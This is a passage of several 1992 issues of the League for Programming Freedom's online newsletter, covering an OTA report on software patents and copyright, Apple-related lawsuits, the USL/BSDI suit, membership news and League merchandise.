stock. Note the price increase.
T-Shirts
Michael Ernst has produced t-shirts with Liberty and ``League for
Programming Freedom'' on the front and ``Innovate, Don't Litigate'' on
the back. (The back slogan will change from time to time.) You can
order shirts by mail from the League for $10, nonmembers $12, plus $2
for shipping and handling. Available colors are yellow, blue and
peach; if you specify a color, we will assume you would rather have
the other color than no shirt. If you want a chosen color or nothing,
say so explicitly. Please specify the shirt size! (M, L or XL.)
We are temporarily out of XL shirts, but are getting some back from a
member who had volunteered to sell some and sold a dozen.
Position Papers and Memberships
We will send anyone a copy of the League position papers. If you
want other copies to hand out at an event, we'll send you as many as
you need. Please discuss your plans with us. One-year memberships
are $42 for professionals, $10.50 for students, and $21 for others.
The dues are $100 for an institution with up to three employees, $250
for an institution with four to nine employees, and $500 for an
institution with ten or more employees. For $5000, an institution can
be a sponsor rather than a member. We have 10 inst. members, now.
League Papers Online
You can retrieve LPF written materials by anonymous ftp from
prep.ai.mit.edu in the directory /pub/lpf. These include the position
papers, membership form, handouts, friends of the court briefs, and
articles about the LPF's issues of concern.
League Video Cassettes
We have video tapes of some of Richard Stallman's speeches for the
LPF. If you'd like to give LPF speeches, we can send you copies of
these tapes to give you an example to learn from. If you'd like
copies for another purpose, we can send them for $20 each. <><><>
<><><> End of March 1992 Programming Freedom <><><>

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_______________________________________________________
| |
| PROGRAMMING FREEDOM - online edition |
| league@prep.ai.mit.edu |
| |
| June 1992 -==- Volume I Number 4 |
| |
| The Electronic Newsletter of |
| The League for Programming Freedom |
| 1 Kendall Sq #143, POBox #9171, Cambridge MA 02139 |
| Editor: Spike R. MacPhee (spiker@prep.ai.mit.edu) |
|Assistant Editor: Andy Oram (oram@hicomb.hi.com) |
| Reproduction of Programming Freedom via all |
| electronic media is encouraged. |
| To reproduce a signed article individually, |
| please contact the author for permission. |
|_____________________________________________________|
<><><><><> TABLE OF CONTENTS <><><><><>
An analysis of the Congressional OTA Report - Simson Garfinkel
LPF publicity: Cons, media mentions, & volunteer efforts
Patent law "harmonization" Congressional bills introduce
LPF News - 50% membership increase; voicemail down temporarily
Quorum Files Declaratory Judgment Action Against Apple Computer
MacBlaster game, item noticed by Christopher Glaeser
LPF email lists - what they are for
Apple-Microsoft/HP suit news
LPF Boutique: Materials Available from the League
--==--
<>An analysis of the Congressional OTA Report - Simson Garfinkel<>
Report on "Finding A Balance":, the Congressional Office of
Technology's 1992 report on "Computer Software, Intellectual Property
and the Challenge of Technological Change."
On May 1 the Congressional Office of Technology Assessment (OTA)
issued its long-awaited report on the impact of copyright and patent
law on computer programs. This 228-page report is the most
comprehensive description to date of the issues of primary importance
to The League.
The OTA's mission is to analyze policy questions pertaining to
technology in an objective and bipartisan way - not to make policy
recommendations. For this reason, the OTA's report does not conclude
if patents and copyrights are "good" or "bad" for software or the
country as a whole: it simply provides an analysis of the current
state-of-affairs and outlines policy options available to Congress.
The OTA's report is therefore likely to be at the heart of any future
action taken by Congress on these matters.
"Finding A Balance" is the last in a series of reports that OTA has
been issuing on intellectual property law. Other reports have looked
at the electronic redistribution of information ("Intellectual
Property Rights in an Age of Electronics and Information," OTA 1986),
the role of patents in the field of biotechnology ("New Developments
in Biotechnology: Patenting Life - Special Report," OTA 1989), and
the impact of home copying ("Copyright and Home Copying: Technology
Challenges the Law," OTA 1989).
THE LEGAL ENVIRONMENT
Until now, the ways that copyright and patent law has been applied to
different parts of a program in different ways. Nearly all of these
determinations have been made in the courts. Most observers feel that
the courts are the wrong place for these decisions to be made.
Indeed, different courts around the country have issued different,
often contradictory, rulings about the extent to which copyrights and
patents affect the writers of programs.
The problem, says OTA, is that there are elements of computer programs
that are like literature, and apparently covered by existing copyright
laws, while there are other elements that smack of invention and
should therefore be covered by patent laws. OTA points out that
software is the only thing in American society that can be covered by
copyright, patent and trade secret laws at the same time.
The report focuses on four main elements of computer program:
* The program code itself
* The user interface design
* The program's external design
* The program's function
It then analyzes how copyright and patent law are affecting the
development of programs. Finally it concludes with possible policy
options for Congress.
APPROACHES
There is no question today that copyright and patent laws are in a
state of flux with respect to computer programs. But there is a real
question about the way that the problem should be addressed.
Today there are two schools of thought in the United States of how the
situation should be fixed: one school of thought is that Congress
should clarify the ways in which copyright and patent law affects
computer programs. The second school holds that Congress should create
a new "sui generis" approach that deals specifically with computer
software.
The OTA disagrees with the statement that "the majority of legal
experts and firms in the industry take the position that existing
structures like copyright and/or patent are adequate to deal with
software." Case law will evolve in the courts, OTA says these experts
contend, and "sui generis approaches risk obsolescence as the
technology changes."
Instead, OTA says, "despite the advantages, there are questions as to
whether this process of accommodation can - or should - continue
indefinitely. With respect to software, there may be a point where it
becomes preferable to complement or substitute ... the existing
structures, rather than extend the scope of copyright to fit certain
aspects of software," (p. 8).
COPYRIGHT
OTA first tackles the question of copyright. The issue of primary
importance, says OTA, is to prevent the wholesale pirating of
completed computer programs. The straightforward way to do this is to
treat a program as a literary work. This approach is well-established
in both US and International law. Nevertheless, says OTA, there is
still a great deal of software piracy - particularly overseas.
Beyond the question of verbatim copying, there is a "fuzzy" line as
more and more aspects of a program's design and function are covered
by copyright law.
One option for Congress, says OTA, would be not to act and let these
matters be resolved in the courts. A way to speed that process would
be for congress to establish a special "fast track" inside the court
system for intellectual property litigations.
If Congress does want to do something, one of the first things that it
could do, says OTA, is to clarify the scope of copyright to either
specifically include or exclude "one or more aspects of software, such
as:"
* computer languages
* algorithms
* design specifications
* user interfaces.
* other interfaces.
Congress could do this by:
* Expanding upon the Copyright Law's current language on "subject
matter of copyright" by saying that the above are or are not
copyrightable subject material.
Another option, says OTA, would be for congress to exempt computer
programs from copyright and make them subject to new "sui generis"
laws.
Although not an issue of primary concern to the league, the OTA report
also covers the question of reverse engineering. OTA calls upon
Congress to specifically address the question of reverse engineering
-- either through legislation or cooperation with industry -- and
clarify whether reverse engineering is considered "fair use" under the
copyright law.
OTA suggested that Congress might want to develop a technique for
giving "limited rights for incremental software advances that would
not be patentable or for aspects of program functionality that fall
outside copyrightable subject matter."
PATENTS
Computer-related Patents pose a special problem to the PTO, OTA says,
because the Supreme Court has ruled that mathematical algorithms may
not be patented but processes - including processes that involve
computers - may be patented.
"The long-term question of whether patent (or patentlike) protection
for computer processes and/or algorithms is socially desirable is
separate from the related question of how well current U.S. Patent and
Trademark Office (PTO) procedures are working now," (p. 10).
On the question of whether or not the PTO procedures are working now,
OTA concludes that they aren't.
OTA states that the biggest problem preventing the PTO from carrying
out its current mission is a problem of dealing with prior art. PTO
is forbidden from issuing patents unless they are "non-obvious" to
practitioners in the field and "novel" - that is, have never been
implemented before.
The LPF believes that they are mistaken--while this problem does
contribute to bad consequences, even a perfect awareness of the prior
art would at most eliminate a fraction of them. Rms has written an
article relevant to this that was in Computerworld and it will be in
our next issue.
Because of PTO's problems, OTA says, patents have been issued that are
neither non-obvious nor novel.
The PTO has "serious" problems, OTA says, including:
* Examiner training and turnover
* Length of pendency periods (from filing to issuance) for
patent applications.
* The backlog of applications
* The quality and extent of the prior art database.
PTO's problems quickly become those of practitioners in the field,
says OTA, because they create an uncertain economic environment in
which to operate. At the root of this uncertain environment is "the
long timelag between patent applications and issuance, compared to
fast-moving software life cycles." (p.7) Programs can be conceived,
developed and brought to market by one company between the time that
another company files for and is awarded a patent. OTA calls such
patents "land-mine patents."
To solve these problems, OTA says, the patent office could "fill in"
its database of both patent and non-patent prior art. OTA recommends
that the PTO could revise its electronic search system so that
examiners can easily pull from the database all software-related
patents (currently, OTA says, this is impossible to do). PTO could
reclassify its patents in the computer arts. The OTA recommends that
PTO may want to perform this reclassification and filling-in in
conjunction with the computer industry.
One way to eliminate "land-mine patents" - patents that are filed
when the technology is new but granted many years in the future -
suggests OTA is to require the PTO to publish all software-related
patent applications published after 18 months, whether or not the
patents were issued.
* long-term issues
The OTA report is much hazier on whether patents for software are a
good or bad thing. "Some members of the software and legal
communities believe that software-related patents will tend to stifle,
rather than encourage, technological progress," says OTA.
In one footnote, OTA reprints a letter from Robert S. Boyer (Professor
of Computer Sciences, University of Texas, and an LPF member)
recommending that "patent law should be clarified to the effect that a
patent is never infringed merely by the use of software on a
computer."
OTA notes that "protection of software-related inventions and
algorithms by patent is a recent development and is controversial."
OTA states that the meaning of the term "mathematical algorithm"
(which PTO is forbidden to patent) "has been the subject of
considerable discussion and debate." Algorithms are not
"mathematical" if they can be stated in terms of operations on things
in the "real world."
"Over the past decade, patents have been issued for software-related
inventions such as":
* linear-programming algorithms
* spell-checking routines
* logic-ordering operations for spreadsheet programs
* brokerage cash-management systems
* and bank-college savings systems
"To some industry observers, there appears to be variance--or, at
least, uncertainty on their part--in how PTO guidelines are being
applied during examination," (p. 32).
OTA doesn't reach a conclusion; instead, it always falls back on the
technical problems currently facing the PTO in deciding whether or not
software is "novel" and "non-obvious."
OTA asked PTO to walk it through a typical software-related patent
application. PTO refused.
OTA identifies three different policy issues regarding software
patents:
* Statutory Subject Matter for Patents
"To reduce uncertainties and clarify legislative intent, Congress
could explicitly address the question of patentability for
software-related inventions and for certain algorithms," (p. 32).
This would be a far more difficult problem than defining the scope of
copyright, says OTA. "The term 'software patent' does not correspond
to any PTO category," (p. 32). Nevertheless, Congress could:
"Option 2.1: Refine the statutory definition of patentable
subject matter to provide guidance to the courts and PTO. Legislation
might address the extent to which processes implemented in software or
"mathematical algorithms" are or are not statutory subject matter.
Legislation might also address the issue of special exemptions, such
as for research and education.
"Option 2.2: Exclude software-related inventions and/or
algorithms from the patent law and create a special, sui generis
protection within a patent framework for some inventions. This latter
might have a short term, lower criteria for inventiveness, and/or
special exemptions from infringement"
* Prior art and Examination Quality and Timeliness
On the question of prior art, OTA says that the database of prior art
must be filled in. They suggest:
"Option 2.3: Encourage establishment of a supplementary
repository of nonpatent prior art, either public or private."
OTA also outlines three ways that PTO could improve its internal
process, including developing a new automated program for
cross-indexing and retrieval of patents, improved training and
funding, and increased input from the software community.
SUMMARY
Instead of seeing software patents and look-and-feel copyright as an
issue of free speech, OTA's report takes a very conservative approach:
the current system isn't working in a fair or uniform manner.
As the title of the OTA's report indicates, the agencies biggest
concern is finding a balance and presenting options for congress.
This report presents Congress with many policy options that are
diametrically opposed. For example, it says that Congress could
specifically exempt programs from copyright or it could strengthen
copyrights on programs.
To order your own copy, send $11.00 (international customers add 25%)
to:
Superintendent of Documents
P.O. Box 371954
Pittsburgh, PA 15250-7954
fax: 202-512-2250
Payment may be in the form of check, payable to Superintendent of
Documents, GPO Deposit Account #, or VISA or MasterCard (be sure to
include your expiration date and authorizing signature.)
--==--
<><> LPF publicity: Cons, media mentions, & volunteer efforts<><>
Send in any LPF mentions or volunteer efforts and we'll list it.
April 13: Unix User's Association of Southern California - software
patents speech by Paul Eggert (eggert@twinsun.com)
April 27: Computing Professionals for Social Responsibility, LA
Chapter - software patents speech by Paul Eggert.
April 27-30: XWorld Conference and Exhibition, New York - LPF
materials brought by David B. Lewis, uunet!craft!david@uunet.uu.net
--==--
<><>Patent law "harmonization" Congressional bills introduced<><>
Electrical Engineering Times, 4/27/92, p. 32, has an article on bills
introduced into Congress for patent law "harmonization". These are
supposed to bring us in line with the rest of the world. The major
changes are:
1: We change the law from "first-to-invent" to "first-to-file".
Apparently some lip service is being paid to the notion of
protecting an original inventor from being shafted by a
quick filer, but exactly how this will be managed is not
clear.
2: Patents will be make public 18 months after the application
is received, instead of being help privately until being
granted.
3: The term would change from 17 to 20 years. The term would
start on the filing date instead of the date of issue.
4: An expedited patent search system so invalid patent
applications can be located before the application is made
public in 18 months.
The article doesn't even try to guess what the chances are of this
bill passing, although it does say "Even though the U.S patent system
seems to be the odd man out in the international arena, there is no
huge pressure for change in the United States." Sorry about that...
Summary by Mark R. Nelson, 73650.312@CompuServe.COM
--==--
<><><>LPF News - 50% membership increase; voicemail down<><><>
The active membership, people who have renewed in the last year, has
increased from 450 at Christmas to 689 as of June first. This is a 53%
increase in less than a half-year. Thanks to you all for the recruiting
and publicity efforts that have made this possible.
Our voicemail number is temporarily down; the subcontractor who
provided voicemail service to our snailmail mailbox company abruptly
went bankrupt; we are attempting to recover the number from them and
provide more reliable service to you without obsoleting our stocks of
LPF materials with the voicemail number on them.
--==--
<> Quorum Files Declaratory Judgment Action Against Apple Computer<>
Lawsuit Seeks Relief From Apple Allegations Of Copyright, Patent
Infringement - A press Release from Quorum Software Systems, Inc.
Menlo Park, Calif., May 12, 1992 - Quorum Software Systems, Inc. today
announced it has brought legal action against Apple Computer, Inc.
(Cupertino, CA) to counter unsupported allegations of patent and
copyright infringement. Quorum's lawsuit stems from recent letters in
which Apple accused Quorum of infringing its intellectual property
rights, and revoked Quorum's privileges as an Apple Certified
Developer.
Additionally, the complaint seeks redress for Apple's accusation that
Quorum, in helping independent software developers (ISVs) migrate
their Macintosh-compatible applications to other platforms, induced
those ISVs to violate licensing and confidentiality agreements with
Apple. Apple's assertion implies that developers have knowingly or
unknowingly included Apple proprietary information in their
independent source code. Quorum believes Apple cannot assert any
ownership of application source code created by independent software
developers.
The complaint centers on the allegation that Quorum Latitude, a
cross-platform compatibility tool that enables Macintosh-compatible
applications to run on other computer platforms, violates Apple
patents on "pull-down menus" and "Color QuickDraw" and Apple's
copyrights. Latitude relies solely on the use of Motif or Open Look
for pull-down menus and uses Adobe Display PostScript or SunSoft NeWS
for screen rendering, and therefore could not infringe on Apple's
patents or copyrights.
Quorum asks the United States District Court for the Northern District
of California to rule that Quorum has not infringed any copyrights or
patents of Apple and to prohibit Apple from making further assertions
that Latitude violates any Apple intellectual property rights.
"From the very beginning of our technology development, we have
carefully avoided any perceived or actual infringement of Apple's
intellectual property rights," said Sheldon Breiner, president and
co-founder of Quorum. "For Apple to accuse us of impropriety is to
discredit the technical innovations we have achieved in our Quorum
Compatibility Engine and Latitude product."
"Like any other independent developer, we read publicly available
information such as Inside Macintosh and then wrote some innovative
software," said R. Martin Chavez, co-founder and chief technical
officer. "The Compatibility Engine simply liberates
Macintosh-compatible applications to run on other platforms without
touching any of Apple's Macintosh technology."
Quorum Latitude is based on a core technology called Quorum
Compatibility Engine. When an original Macintosh-compatible
application makes a call to any systems facility, the Compatibility
Engine responds by rerouting the request to a similar service resident
on computers using the UNIX operating system. For screen display, the
Compatibility Engine redirects Macintosh-proprietary QuickDraw calls
directly into Display PostScript or NeWS. The PostScript language is
a hardware-independent imaging language that supports any range of
display, resolution and output devices...
--==--
<>MacBlaster game, by Christopher Glaeser, team1!cdg@uunet.uu.net<>
Check out page 248 of the June issue of Windows. There is a promotion
for a shareware program called Macblaster written by Earl Gehr. It is
a game that pits your PC against a fleet of attacking Macs. The Macs
zip across the sky trying to destroy your PC by dropping copyright
bricks. The object is to blast all of the Macs before they hit your
PC with a copyright. Hmmm, interesting tactic indeed.
--==--
<><><>LPF email lists - what they are for<><><>
These lists are for LPF members only, although you may, of course,
redistribute postings to your friends in the hopes of getting them to
actively support the LPF by joining.
This moderated mailing list
league-activists@prep.ai.mit.edu
and its two sub-lists:
league-activists-boston@prep.ai.mit.edu
and league-activists-remote@prep.ai.mit.edu should be used only
for members' requests for assistance in league projects, local or
nationally, or for announcements from LPF.
These lists are filtered by a moderator to:
- insure this use;
- minimize the number of messages;
- remove items meant for the list's -request address;
- forward items that should have been sent to another list.
There may be a delay of up to 3 days for your message to be sent on
L-act, so plan ahead for volunteer requests.
League-tactics@prep.ai.mit.edu is for discussion of LPF directions and
is not moderated.
If you want to subscribe, change your eddress (email address), or be
removed from either list, please use:
league-activists-request@prep.ai.mit.edu
or league-tactics-request@prep.ai.mit.edu
--==--
<><><>Apple-Microsoft/HP suit news<><><>
This spring, most of Apple's case against Microsoft and Hewlett
Packard was dismissed by the judge.
The partial decision dropped the case against Hewlett Packard. It
also dropped most of the case against Microsoft, but not all.
The reason given by the judge was that Microsoft's old contract with
Apple gave Microsoft the right to do most of the things covered by the
suit. The judge did not rule on the question of whether the style of
a user interface can be copyrighted at all, so the decision would have
no effect if Apple (or someone else) were to sue someone other than
Microsoft in the exact same way.
A few weeks ago a story circulated on the Internet that the partial
decision in the Apple versus Microsoft case had been withdrawn.
According to Microsoft, this was untrue; the partial decision still
stands. However, we cannot regard it as final, since Apple will
probably appeal.
Addendum: Apple asked the judge to reconsider his partial decision and
he agreed to reconsider. So it's possible the decision will be
changed by the trial court.
--==--
<><><> LPF Boutique: Materials Available from the League <><><>
Please send your order to the League address on the first page
Buttons
We have reprinted the famous ``fanged apple'' buttons. These
buttons show the symbol of Apple computer with an alien snake's body
and face. You can buy buttons by mail from the League, for $2 each,
in quantities of at least three. We give out buttons at events, but
ask for a donation.
Stickers
We also have stickers showing Liberty Empowering the Programmer,
with the League's name and address. You can order stickers by mail
from the League at $5 for 10 stickers; for larger orders, phone us to
discuss a price. We hand them out free when it is convenient, such as
at our events, but since mailing packages to individuals costs money,
we want to make it an opportunity to raise funds.
Post stickers at eye level and separated from other posted
articles, to make them easy to see. The stickers are not made to
survive rain.
Liberty Postcards
We also have postcards showing Liberty Empowering the Programmer,
with the League's name and address. Same terms as the stickers.
Large Liberty Posters
We have a few posters with the same image that is on the
stickers, approximately 2.5 ft by 1.5 ft. They are $4 each and $4
total shipping and handling in the US for the first one to five
posters, and $2 for each additional five.
Coffee Mugs
Our coffee mugs have the Fanged Apple design in full color on one
side and ``League for Programming Freedom'' on the other. They hold
twelve ounces and are microwave safe. You can order a mug for $15,
nonmembers $17, plus $3.00 shipping and handling. They are now in
stock. Note the price increase.
T-Shirts
Michael Ernst has produced t-shirts with Liberty and ``League for
Programming Freedom'' on the front and ``Innovate, Don't Litigate'' on
the back. (The back slogan will change from time to time.) You can
order shirts by mail from the League for $10, nonmembers $12, plus $2
for shipping and handling. Available colors are yellow, blue and
peach; if you specify a color, we will assume you would rather have
the other color than no shirt. If you want a chosen color or nothing,
say so explicitly. Please specify the shirt size! (M, L or XL.)
We are temporarily out of XL shirts, but are getting some back from a
member who had volunteered to sell some and sold a dozen.
Position Papers and Memberships
We will send anyone a copy of the League position papers. If you
want other copies to hand out at an event, we'll send you as many as
you need. Please discuss your plans with us. One-year memberships
are $42 for professionals, $10.50 for students, and $21 for others.
The dues are $100 for an institution with up to three employees, $250
for an institution with four to nine employees, and $500 for an
institution with ten or more employees. For $5000, an institution can
be a sponsor rather than a member. We have 10 inst. members, now.
League Papers Online
You can retrieve LPF written materials by anonymous ftp from
prep.ai.mit.edu in the directory /pub/lpf. These include the position
papers, membership form, handouts, friends of the court briefs, and
articles about the LPF's issues of concern.
League Video Cassettes
We have video tapes of some of Richard Stallman's speeches for the
LPF. If you'd like to give LPF speeches, we can send you copies of
these tapes to give you an example to learn from. If you'd like
copies for another purpose, we can send them for $20 each. <><><>
<><><> End of June 1992 Programming Freedom <><><>
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_______________________________________________________
| |
| PROGRAMMING FREEDOM - online edition |
| |
| August 1992 -==- Volume I Number 5 |
| |
| The Electronic Newsletter of |
| The League for Programming Freedom |
| 1 Kendall Sq #143, POBox #9171, Cambridge MA 02139 |
| league@prep.ai.mit.edu |
| Editor: Spike R. MacPhee (spiker@prep.ai.mit.edu) |
|Assistant Editor: Andy Oram (oram@hicomb.hi.com) |
| Reproduction of Programming Freedom via all |
| electronic media is encouraged. |
| To reproduce a signed article individually, |
| please contact the author for permission. |
|_____________________________________________________|
<><><><><> TABLE OF CONTENTS <><><><><>
Heckel - Gabriel debate report by Richard P. Gabriel
News: IBM and Microsoft cross-license
Apple and Quorum patents - by Richard M. Stallman (rms)
Status of the LPF Apple boycott - Chris Hofstader
LPF position on latest in Apple vs. Microsoft/HP case - rms
LPF publicity: Cons, media mentions, & volunteer efforts
LPF's position on ATT/BSDI suit - by LPF Pres. Jack Larsen & rms
LPF News: voicemail still down, due back soon
LPF bibliography and on-line index continues - by Michael Ernst
Another way to publicize the LPF - by Frank P. Bresz
LPF email lists - who and what they are for
Viewpoint: Software Patents - Boom or Bane? - by rms
LPF Boutique: Materials Available from the League
--==--
<><><>Heckel - Gabriel debate<><><>
- by rpg%inferno@lucid.com (Richard P. Gabriel)
The publicity flyer for my debate with Heckel read:
"Special Interest Group on Freedom, Privacy and Technology: A public
forum co-sponsored by BMUG and CPSR/Berkeley, May 31.
Software patent proponent Paul Heckel goes head to head with Dr.
Richard P. Gabriel, of the League for Programming Freedom to discuss
the realities of software patents...
Paul Heckel, author of the book "The Elements of Friendly Software
Design" (Sybex books, second edition, 1991) and owner of HyperRacks,
Inc., pioneered the card and stack computer metaphor. He developed
Zoomracks, which is recognized as a predecessor to HyperCard by Apple
Computer (among others), who licensed his patents.
Dr. Richard P. Gabriel is Chief Technical Officer and principal
founder of Lucid, Inc, a Unix software company specializing in object
technology. He is a regular columnist for AI Expert. His research
accomplishments include the first high-performance supercomputer Lisp
system, the definition of the Common Lisp language, the Gabriel
Benchmarks for measuring Lisp system performance, the design and
implementation of Qlisp (the first compiler-based parallel Lisp
implementation), assisted with the definition of the Common Lisp
Object System (CLOS), and the architecture of Lucid's integrated
programming environment."
I felt that he self-destructed again, and basically the whole crowd
(only 20 people) ended up attacking him. He had two questions he
couldn't respond to, neither of which I had heard before (I'll present
the second as a statement, but it was in the form of a question at the
debate):
1. what program, system, or technique did we get that we wouldn't
have got without patents?
2. In other areas, the cost of patents is in the cost of parts.
So, when I build a computer, I buy a chip and the cost of the
licensed patent is included. If I use a lot of chips, then the
patent's value is accurately reflected by the cost to me,
and if the computer sells well, the added revenue (cost)
accurately reflects the value of the patent.
This can't happen with software, because if I use a patented
technique for a small purpose and the patent-holder charges a
percentage royalty, I get screwed because the cost of the
patent to me is inaccurate with regard to its cost. And if the
patent-holder charges a fixed price and I sell a lot of
product with the patent, the value of the patent to the
product with regard to its cost is inaccurate. This is a direct
result of software patents being about ideas and not about
property.
I would say the result of the debate is that Heckel's wild arguments
convinced the audience that the entire patent system should be
ditched.
--==--
<><><>News: IBM and Microsoft cross-license<><><>
IBM and Microsoft have completed negotiations on royalties for OS/2;
IBM will pay Microsoft some amount under $30/copy. But during the
negotiations, IBM threatened to hit Microsoft with patent suits on a
thousand software patents. They ended up cross-licensing all their
patents, but because IBM had more patents, Microsoft paid between $20M
and $30M as part of the deal.
--==--
<><><>Apple and Quorum patents - by Richard M. Stallman (rms)<><><>
The Macintosh system uses a simple compressed representation for
regions (two-dimensional shapes). Fundamentally, a region is
represented by a bitmap; the compression technique consists of
run-length encoding first in the x-direction and then in the
y-direction. It is possible to do boolean operations on compressed
regions operating directly on the compressed form; this is faster than
generating the full bitmap.
This representation is patented by Apple; the patent number is
4,622,545.
The result is to cause a problem for any Macintosh-compatible system.
Applications contain actual regions represented in this format, and
any method of executing the application correctly must infringe the
patent.
So what have emulator-writers done? One company, Quorum, decided to
handle stored regions in applications only approximately; they expand
the region to a rectangle, ignoring its detailed shape. This seems to
work well enough in practice--apparently most applications make little
use of saved constant regions.
But this approximation method brings a vulnerability: Apple can
develop applications that explicitly refuse to work if the system
handles regions approximately. If important applications don't work
at all, the emulator will be useless. Apple could even pressure other
developers into doing this. Apple is known for placing obnoxious
restrictions on its approved developers, and this particular
imposition would not be out of character.
Meanwhile, Quorum uses another representation for regions, and another
method for doing boolean operations. And Quorum is patenting this
technique. Yesterday's underdog has become tomorrow's bully.
Because Quorum is a small company, it may respond to public
disapproval. Two years ago a few LPF members convinced Solbourne to
back down on an interface copyright claim. We may be able to convince
Quorum to back down if we give them a response that is surprisingly
strong.
So please write letters to the president of Quorum, deploring this
patent and saying that if they sink to Apple's level then you will say
the same bad things about them that you do about Apple.
Sheldon Breiner, President
Quorum Software Systems, Inc.
4700 Bohannon Drive, Suite 125
Menlo Park, CA 94025
Urge Quorum to give the patent to the public, or to adopt a
non-aggression policy for it. (A non-aggression policy means they
won't use the patent against you unless you use patents against them.)
Send a copy of your letter to a magazine that Quorum might advertise
in, and mark this fact on the letter.
--==--
<><>Status of the LPF Apple boycott - by Christian D. Hofstader<><>
One of our members asked: Now that Apple is no longer pursuing a
look-and-feel lawsuit, is the boycott over?
- David J. Camp (campfire!david@wupost.wustl.edu)
I am not certain that Apple is no longer pursuing lnf suits. All that
I've heard is that a judge has thrown most of their case out. We will
drop our boycott when and if Apple announces publicly that they will
no longer use such tactics in the future. If this has already
happened I have not heard about it.
- cdh@prep.ai.mit.edu, LPF Secretary and Director
--==--
<><>LPF position on latest in Apple vs. Microsoft/HP case - rms<><>
Recently, Judge Walker threw out most of Apple's complaints against
Microsoft and HP. He cited concerns about overbroad monopoly as part
of the reason.
This is definitely a step in the right direction, and a win for
programmers' freedom, but it does not completely eliminate the danger
from Apple--for several reasons:
* Not all of the lawsuit has been thrown out. A few of Apple's claims
still remain to be decided.
* Part of the reason most claims were rejected was that Microsoft had
signed a contract with Apple, years ago. In fact, the judge did not
decide for certain that the features in Apple's list were
uncopyrightable; he said that *either* they are uncopyrightable *or*
Microsoft's license covers them. Only another trial will tell us
which one it is!
Thus, if Apple were to sue someone else in the exact same way--someone
who did not sign such a license with them years ago--it is not clear
that the outcome would be the same.
* Apple may appeal the decision; we cannot regard any of it as final.
--==--
<><>LPF publicity: Cons, media mentions, & volunteer efforts<><>
Send in any LPF mentions or volunteer efforts and we'll list it.
May 31 Berkeley Richard P. Garbriel debates Paul Heckel
Report by Gabriel in this issue.
June 1 Computerworld Viewpoint column by rms (reprinted here).
karl@cs.umb.edu (Karl Berry) reports:
"Here's a small (tiny) thing I did. I got a typical questionnaire
from Dartmouth, my alma mater, asking their alumni about directions
for the future. I suggested they support the LPF's boycott of Apple,
and join the LPF as an institutional member. (Since Dartmouth
essentially requires each student buy a PC or Mac, and many buy Macs,
their supporting the boycott might actually make Apple pay attention.)
I also sent them the LPF position papers."
--==--
<>LPF's position on ATT/BSDI suit - by LPF Pres Jack Larsen & rms<>
People have asked why the LPF hasn't said anything about the lawsuit
by USL (a subsidiary of AT&T) against the University of California at
Berkeley and against BSDI.
The reason is because we don't yet know whether this lawsuit falls
within the scope of concern of the LPF. This is because the USL
allegations are vague. The crucial claim is that
27. This statement is likewise materially false and misleading
in that, to the extent the BSDI "LICENSED PROGRAM" is (as BSDI
claims) based upon Berkeley's Networking Release 2, it is in fact
based upon, copied from or derived from AT&T's code, such that
users of the BSDI program require a license from AT&T or its
successor, USL.
and it is not clear what sort of illegality is charged.
This could be an allegation that actual code was copied, in which case
the issue is not one of concern to the LPF. The LPF stands for the
freedom to write software, but it is not opposed to owning individual
programs that one has written, and this includes USL.
On the other hand, perhaps an interface copyright claim is lurking
within "otherwise derived". Or USL could interpret it this way if
other interpretations prove unfavorable. This would bring the case
directly within the LPF's area of concern.
However, the case may fall into the area of programming freedom in a
wider sense, as an example of using the power of money to harass. For
several reasons, the actions of USL would be an abuse even if the
allegation were true:
NET2 is a collection of many different programs and parts of
programs written by different people and institutions. While
they work together, they are unrelated as regards authorship. To
charge that NET2 as a single entity infringes some (unspecified)
right is like pointing at a bookstore and saying that its entire
contents are illegal because of unidentified books.
USL has not even specified what sort of illegality they allege;
they want BSDI to be judged as vaguely in the wrong, disregarding
what sort of copying and distribution the law permits.
USL originally sued BSDI, alleging misconduct by UCB, not by
BSDI. At the time, UCB had received no word of complaint from
USL about the releases of free software, which had begun in 1988.
The release of NET2 took place about a year before the lawsuit
against BSDI.
UCB made assiduous efforts to avoid including any AT&T code in
the NET2 release, and this included several attempts over a
period of years to ask USL whether they regarded certain programs
as in any way violating their copyrights or trade secrets. USL
refused to answer.
USL has sued the lawyers of BSDI and UCB, merely for raising
objections to the questions that USL wanted Mike Karels to
answer.
Perhaps these issues should be a matter of concern to the LPF, even
though the legality of copying code is not one. However, the problems
of our legal system exposed here have nothing specifically to do with
software; the ability of the wealthy to deny others their legal rights
is a general phenomenon.
Also, the main focus of the LPF is on changing the legal system for
software, not on individual cases, and it is not clear what change in
the system we should advocate to solve these problems. This case does
not suggest a need for changes in copyright or trade secret law for
software because the defendants will probably win under existing
law--provided they can manage to last until the case is decided.
--==--
<><><>LPF News: voicemail still down, due back soon<><><>
Our voicemail number is temporarily down. The voicemail subcontractor
to our snailmail mailbox company abruptly went bankrupt; we are
attempting to recover the number from them and provide more reliable
service to you without obsoleting our stocks of LPF materials with the
voicemail number on them.
Chris Hofstader adds: "...I finally heard from ... Dictronics ... who
purchased MessageNet. Previously MessageNet purchased VoiceTek. I,
with the cooperative and patient assistance of Bill at Mail Boxes
Etc., have spent much of the summer chasing corporate ownership of our
phone number. We finally found a person with the authority to release
the number to us.
NETel is setting up a system for us that will at first forward our
calls to a different rented number. We will in the coming weeks
purchase an answering system and put it in a stable home with a very
inexpensive "incoming" only line attached.
This problem is finally solved... Bankruptcy and
corporate takeovers are a complete hassle to trace through."
The number was and will be 617-243-4091. It is a voice-mail phone, so
please leave your name and phone number or address, and your question
or request, and our person will get back to you.
--==--
<><>LPF bibliography & on-line index continues - by Michael Ernst<><>
[Two people have since volunteered to maintain this important
resource. I included all of Mike's description to show how much work
he has done on the index for the LPF. We thank you for your efforts,
Mike.]
For the past few year and a half I have been maintaining two files for
the League for Programming Freedom: a partial list of software patents
and an online index to the League's hardcopy files. Other commitments
(and the possibility that I will soon leave the Boston area) force me
to delegate these tasks to someone else, and I am looking for
volunteers to take over responsibility for one or both of the files.
(One person doesn't necessarily have to manage both of them.)
I spend several hours every month going through new acquisitions which
are placed in a file in 545 Technology Square (the FSF headquarters),
deciding in which physical file folder to store them, and indexing
them electronically. When I come across references to, or articles
about, software patents or user interface copyrights, I place them in
the electronic index as well and hunt them down if it's convenient. I
often read or skim articles and patents so that I can provide a precis
along with information about the title, author, and date of
publication; this makes the index much more useful. When I update the
files, I send diffs of the changes to a set of interested people.
I hope that someone will be willing to take over this responsibility,
for at least two reasons. First, it is essential to keeping the
League's extensive set of hardcopy files in order; without some
organization and an index, they would be nearly useless (as they were
before I started). Second, I would hate to see my significant
